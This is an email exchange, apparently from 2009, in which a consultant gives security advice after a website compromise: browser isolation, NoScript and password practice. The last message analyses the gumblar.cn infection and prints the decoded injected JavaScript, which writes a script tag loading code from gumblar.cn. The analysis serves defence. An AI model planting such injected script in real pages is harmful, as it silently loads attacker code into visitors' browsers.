advice to someone recovering from an attack

Dear <deleted>,

on <deleted>, <deleted> wrote:

Dear Sitaram,

Thanks again for taking time for us.
This is really helpful info and as we have discussed FTP and compromised client PC's seems to be the culprit.

We have taken following steps:

<deleted specifics of Windows protection measures taken, as well as remote access changes>

It will be very helpful if you can help us to formulate and implement an IT security guide line.

Sorry for a long-winded, rambling, reply, but basically, a guideline cannot be created just like that.  You'll have to take the basic assumption (which is: if it is possible, it will happen!), and use that to pinpoint all the places where you can get attacked, and then come up with a plan.  With that caveat, here're some random thoughts in response to your email.

(1) Taking all those steps to protect windows is good but at the end of the day it is basically insecure.  The legacy of "one user per machine" is deep inside Windows, and cannot be easily overcome.  Linux and other Unixes (FreeBSD, NetBSD, Solaris/OpenSolaris, etc) -- while apparently more difficult -- start with the multi-user mentality, which is inherently more secure (see footnote).

The sooner people realise this and move on, the better.  When I find a Windows dependency, I take it as a sign that the other thing, (not I), has to change.  If I can change it, I will.  If I cannot, I put Windows in a Virtual Machine running inside Linux, make sure all data on Windows is transient, and rollback the virtual machine once a week or so.  No virus can get past that :-)

(2) Most of the problems come from the web.  All your Symantec protection may not be sufficient to detect if your web browser is silently going to a malware host like gumblar.cn.  How do you know that it isn't doing so?  You can test this one because you know about it.  How will you test all the others that you don't know?

(3) AV companies are, by nature, reactive.  You are paying for the hope that (i) they discover the bad site, (ii) update their signatures, and (iii) let you download the updates, all of this before the bad site discovers you!  This is difficult.  Most people who say "I never got hacked" don't realise that this is only by pure chance!

(4) The best security policy is one that assumes you will be attacked.  Let me give you a somewhat extreme example: here's how I deal with it.

1. I run Linux everywhere, and Windows restricted only if absolutely needed as described above.
2. Even in Linux, Firefox is not immune to Javascript hacks.  Most of the hacks coming through JS are directed at exploiting Windows holes, but I assume there may be some unknown Linux one also somewhere (nothing is perfect you know!)  So I do my normal browsing as some other user (a very "no rights" userid called "ff" I created just for firefox).  Pubkey auth allows "sitaram" to run ssh commands as "ff", so typically my firefox will start as "ssh ff firefox" instead of "firefox".  The setup is one-time, and very easy.
   
3. This means, even if someone compromises my firefox browser, he only gets access to that userid (which contains no files of any real use), not "sitaram" (which is where all my files and email etc are).
4. Even then, I run with NoScript and AdBlockPlus, enabled.  By default, no site gets JS on my browser.  Normally, if a site insists on JS, I mentally thank them for saving me some time and move on :-)  If I need that site more than it needs me, then I allow JS on that site.  Temporarily.  NoScript makes this very easy.
5. The "sitaram" userid never runs a web browser except to specific sites (like my company intranet portal, and my bank, irctc for train tickets, etc).  Basically, anything that has personally/financially important info runs from this userid, all general browsing (including slashdot, for example) runs from the other id.  This is far more separation than Chrome can give you; it's two completely different users, in an OS that (as I said before) knows how to separate users properly.
6. Both firefoxes are set to delete all data except browsing history when the browser closes, and never to save passwords.  That's a one time preference setting.  Like the old Hero Honda ads used to say, fill it, shut it, forget it :-)
7. No two sites I log onto have the same password or even similar password.  This is a tough one in practice, I agree, but it has to be done.  If someone manages to find out your yahoo password they should not be able to gain access to your gmail :-)
8. People say "you should never write down passwords".  Bullshit.  You can safely write down subtle hints/reminders or simple variations with extra noise etc. -- just sufficient to refresh your memory.  It's a lot easier to protect a physical thing (a piece of paper in your wallet) than the stuff you can't see.  In my case, the people who have physical access to my wallet are people I already trust or who will never make any sense out of a random set of meaningless characters.  This is a lot safer than using the same password for unrelated sites because you find it difficult to remember so many!

OK enough rambling.  But you cannot imagine how much all of this will protect you compared to all the reactive Symantec style stuff.  Of course, if (for example), icicibank.com gets infected by the gumblar.cn style attack, then I have a big problem!  I'll talk later about how one can protect against that.

I hope I have given you some food for thought.  We can talk about this in more detail later this week, if you wish.

Regards,

Sitaram

(*)  Why are they inherently more secure?  They start with the assumption that each user, and the OS itself, must be protected from the other users' actions.  Although recent Linux distributions have diluted this a bit to cater to the Windows crowd, the basic premise is still the same and still works.

Sitaram Chamarty wrote:

Dear <deleted>,

The base 64 coded stuff in the first file decodes to an obfuscated Javascript, which -- when again decoded -- becomes:

var a="ScriptEngine",b="Version()+",j="",u=navigator.userAgent;if((u.indexOf("Win")>0)&&(u.indexOf("NT 6")<0)&&(document.cookie.indexOf("miek=1")<0)&&(typeof(zrvzts)!=typeof("A"))){zrvzts="A";eval("if(window."+a+")j=j+"+a+"Major"+b+a+"Minor"+b+a+"Build"+b+"j;");document.write("<script src=//gumblar.cn/rss/?id="+j+">

The second file has similar obfuscated JS; at a quick glance, (and knowing some of the hex codes of ASCII characters) it looks the same as the previous one, and in particular does have "gumblar.cn" in it.

So, we have "gumblar.cn".  A quick google on that gives me a lot of stuff, in particular http://blog.unmaskparasites.com/2009/05/07/gumblar-cn-exploit-12-facts-about-this-injected-script/ which bears out my initial estimate that this happened due to insecure ftp.  I strongly suggest you go through that entire page asap, especially the comment  http://blog.unmaskparasites.com/2009/05/07/gumblar-cn-exploit-12-facts-about-this-injected-script/comment-page-1/#comment-916

http://www.bleuken.com/2009/05/06/removal-and-prevention-of-gumblarcn-infection/ and others also say that infection starts from the local PC used to upload.

Seriously, if you don't need Windows, ditch it.  Ditch it for all but the most needed functions, and keep them air-gapped (meaning they pass data onto a bastion host running Linux, the stuff gets checked there -- visual inspection of all code if needed -- and then it moves from there using only pubkey access to the server).

And really, any hosting provider who does not give you ssh access should be out of business.  This is 2009 :-)

Regards,

Sitaram